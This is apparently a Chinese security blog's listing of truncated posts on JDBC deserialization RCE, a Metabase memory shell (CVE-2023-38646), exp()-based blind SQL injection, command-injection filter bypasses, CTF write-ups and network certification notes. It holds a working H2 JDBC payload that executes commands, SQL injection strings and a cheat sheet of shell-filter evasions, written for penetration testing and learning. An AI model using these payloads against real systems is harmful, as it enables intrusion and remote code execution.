记一次JDBC反序列化实战
背景:
在一次测试客户系统中发现其存在各种数据库连接可控点,从而尝试不同数据库的JDBC反序列化RCE使用到的工具:Java chains,MySQL_Fake_Server,Ysoserial
先是发现系统中功能点存在添加数据源:
此处可以选不同数据库,此处选择H2
使用Java chains生成H2的payload:
payload:
jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORESELECT ON INFORMATION_SCHEMA.TABLES AS \$\$//javascriptjava.lang.Runtime.getRuntime().exec(\'cmd /c calc\');
将calc换成ping命令测试连接:
成功执行命令RCE
数据包:
POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1Host: xxx.xxx.xxx.xxxContent-Length: 439Authorization: xxxx ...
记一次Metabase打入内存马的研究学习
参考文章:
Metabase RCE内存马构造及GUI工具(CVE-2023-38646)-先知社区
使用工具:
Boogipop/MetabaseRceTools: CVE-2023-38646 MetabaseRCE
背景:
某客户系统存在Metabase未授权,但存在WAF,无法使用大佬payload或工具一键梭哈,所以搭建一个靶场环境测试,成功后再对客户系统进行WAF绕过,从而利用CVE-2023-38646打入内存马
搭建靶场,参考文献进行复现:
未授权访问:
获取setup-tokne:
"setup-token":"7e184569-462c-4cf7-b9ef-72312465a544"
cmd内存马:
package tools;import java.io.OutputStream;import java.io.PrintWriter;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util. ...
Mitmproxy+Burp实现请求响应的AES加解密+签名校验+联动xray无痛测试方案
前言:
本方案适用于请求包与响应包为全加密以及有签名校验的情景,实现Mimtproxy+Burp配合下的无痛对AES加解密的网站进行渗透测试,后续可联动被动扫描xray等工具,遇到其他情况可根据实际情况更改脚本,思路大概一致。
靶场搭建:
https://github.com/0ctDay/encrypt-decrypt-vuls/
先分析JS中的加解密方法:
分析得加解密为AES,得到密钥与IV均为1234567891234567
编写Mimtproxy解密脚本:
from mitmproxy import httpfrom Crypto.Cipher import AESimport base64# 固定参数KEY = b'1234567891234567' # 16 字节密钥IV = b'1234567891234567' # 16 字节初始化向量def decrypt_aes_cbc_pkcs7(encrypted_data): """ 解密 AES-CBC-PKCS7 加密的数 ...
记一次exp()函数的临界SQL注入
前言:
指数函数exp是以e为底的指数函数,并且在不同的数据库中的极限值是不同的,超过一定数值就会报错,例如exp(710),exp(291)等,也许会报错或许会返回null,通过exp函数的极限报错特性可以实现盲注。
判断数据库长度:根据数据库特性,exp(709)为极限值,exp(710)为溢出值。
以上exp(709)有正常的返回值,而exp(710)为null,基本可以判断出存在exp()注入。
payload:1'and(exp(xxx-length(database())))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库长度
到715时已报错不回显,则714为报错临界,则714-709为5,即数据库长度为5
判断数据库名:
payload:1'and(exp(xxx-ascii(substr(database(),1,1))))--+
xxx遍历709以上的数,最终的正常返回对应的数减去709即为数据库第一位ascii的对应数值
即830为极限正常返回值,830-709为121,所以数据库的第一位对应的ascii为12 ...
某云签署签名算法逆向分析
这里有签名验证,开始逆向
这里看到signInfo是f
往上看f是由p的sha256得来
再往上看,p由h的base64得来
h为appid和bussNo和timestamp和random生成
appid是固定的,每个账号一个,我这里为R45W5Gj7PzPdp7Di
现在找bussno
bussno是x
而x为上面的那个return x得来
点进去这个函数查看
将这个js写成python
import random#bussNodef random_word(use_range, min_len, max_len=None): chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" length = min_len if not use_range else random.randint(min_len, max_len) return ''.join(random.choice(chars) for _ in range( ...
HGAME-WEEK1
WEB2048*16这题应该是过关了就能拿到flag,一开始尝试修改增加的分数,发现一下子分数飚的太高了,然后达不到32768,于是想着,直接把游戏的状态,从一开始的!1改成1,就实现了,游戏还没开始就结束了。
Select Courses
有一个获取课程的api这里能修改是否已经满了,还有现在的状态(是否已选)一开始尝试修改这个的返回包,将满的true改成false,然后去选课,发现依然不行,后面尝试并发,条件竞争。这两个包同时并发,然后一定概率就会让课程成功选择(有点玄学)最后还是把全部课程选完了hgame{w0W_!_1E4Rn_To_u5e_5cripT_^_^}
Bypass it这个直接点注册点不了题目提示说所以我把js禁用,他就无法把我拉回登录页面了随便注册一个账号然后回去登录
ezHTTP根据提示使用burp修改然后拿到一个jwt的token去解密{ “F14g”: “hgame{HTTP_!s_1mP0rT4nt}”}
JhatJhat是用来解析java堆转储文件的这里使用OQL可以执行对象查询,有点像SQL这里根据hint知道需要rce可以想到a=ja ...
命令执行绕过姿势(持续更新)
绕过空格过滤的方法\${IFS}\$9{IFS}\$IFS\${IFS}\$IFS\$1//\$1改成\$加其他数字貌似都行IFS\<\<\>{cat,flag.php}//用逗号实现了空格功能,需要用{}括起来%20(space)%09(tab)X=\$'cat\\x09./flag.php';\$X(\\x09表示tab,也可以用\\x20)
禁用cat的方法ps:有时会禁用cat:解决方法是使用tac反向输出命令:linux命令中可以加\\,所以甚至可以ca\\t/fl\\ag
内联执行绕过?ip=127.0.0.1;cat\$IFS\$9\`ls\`\$IFS在Linux下表示为空格\$9是当前系统shell进程第九个参数持有者,始终为空字符串,\$后可以接任意数字这里\$IFS\$9或\$IFS垂直,后面加个\$与{}类似,起截断作用
变量拼接?ip=127.0.0.1;a=g;cat\$IFS\$1fla\$a.php ...
Vulhub笔记
ThinkphpThinkphp2.x,3.0http://47.115.215.87:8080/index.php
漏洞原因$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));这是一个路由匹配规则$var[\'\\1\']="\\2"这里\是转义转义后$var['\1']="\2"$var['\1']="\2" 这里双引号引发函数执行,在php中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,如果{}写的是一个已知函数,那么这个函数就会被执行。thinkphp路由的 ...
2023信息安全管理与评估样题笔记
任务1:网络平台搭建只有网络平台搭建与网络安全配置阶段,CTF阶段样题没有具体环境。
根据网络拓扑图所示,按照IP地址参数表,对DCFW的名称、各接口IP地址进行配置。(8分)进防火墙web需要console上去然后man http,否则进不去
改名
创建聚合接口
根据网络拓扑图所示,按照IP地址参数表,对DCRS的名称进行配置,创建VLAN并将相应接口划入VLAN。(10分)改名
配置Vlan
根据网络拓扑图所示,按照IP地址参数表,对DCRS各接口IP地址进行配置。(10分)
根据网络拓扑图所示,按照IP地址参数表,对DCWS的各接口IP地址进行配置。(8分)
根据网络拓扑图所示,按照IP地址参数表,对DCBC的名称、各接口IP地址进行配置。(8分)
根据网络拓扑图所示,按照IP地址参数表,对WAF的名称、各接口IP地址进行配置。(8分)
配置通过配置路由协议ospf实现全网网络连通,到因特网流量采用默认路由。(8分)DCRS:具体ospf配置:DCRS(config)#router ospf 1DCRS(config-router)#network 192.16. ...
HCIP-Datacom-Core Technology H12-821 笔记(持续更新、目前70题)
以下关于OSPF协议说法错误的是?A OSPF协议支持区域划分B OSPF支持对等价路由进行负载分担C OSPF报文封装在IP报文内,可以采用单播或组播的形式发送D OSPF是一个基于链路状态的外部网关协议笔记:D是错误的说法,应该是OSPF是一个基于链路状态的内部网关协议。
下面关于AS_PATH的描述,错误的是?A 当路由器中存在两条或者两条以上的到同一目的地的路由时,这些路由可以通过此属性比较相互之间的优劣,AS_PATH越长的路径越优先B AS_PATH是指BGP路由在传的路径中所经历的AS的列表C BGP不会接受AS PATH性中包含本AS Number的路由D AS_PATH是BGP中一个公认必遵属性笔记:选项 A 是错误的,因为在 BGP 中,AS_PATH 越短的路径越优先,而不是越长的路径越优先。因此,选项 A 是错误的描述。其他选项都是正确的描述:B. AS_PATH 属性是 BGP 路由在传递过程中所经历的 AS 序列的列表。这个列表包含了路由传递过程中经过的 AS 序列编号,可以用来检测环路,并帮助路由器做出最佳路由选择。C. BGP 不会接受包含本 AS 号 ...
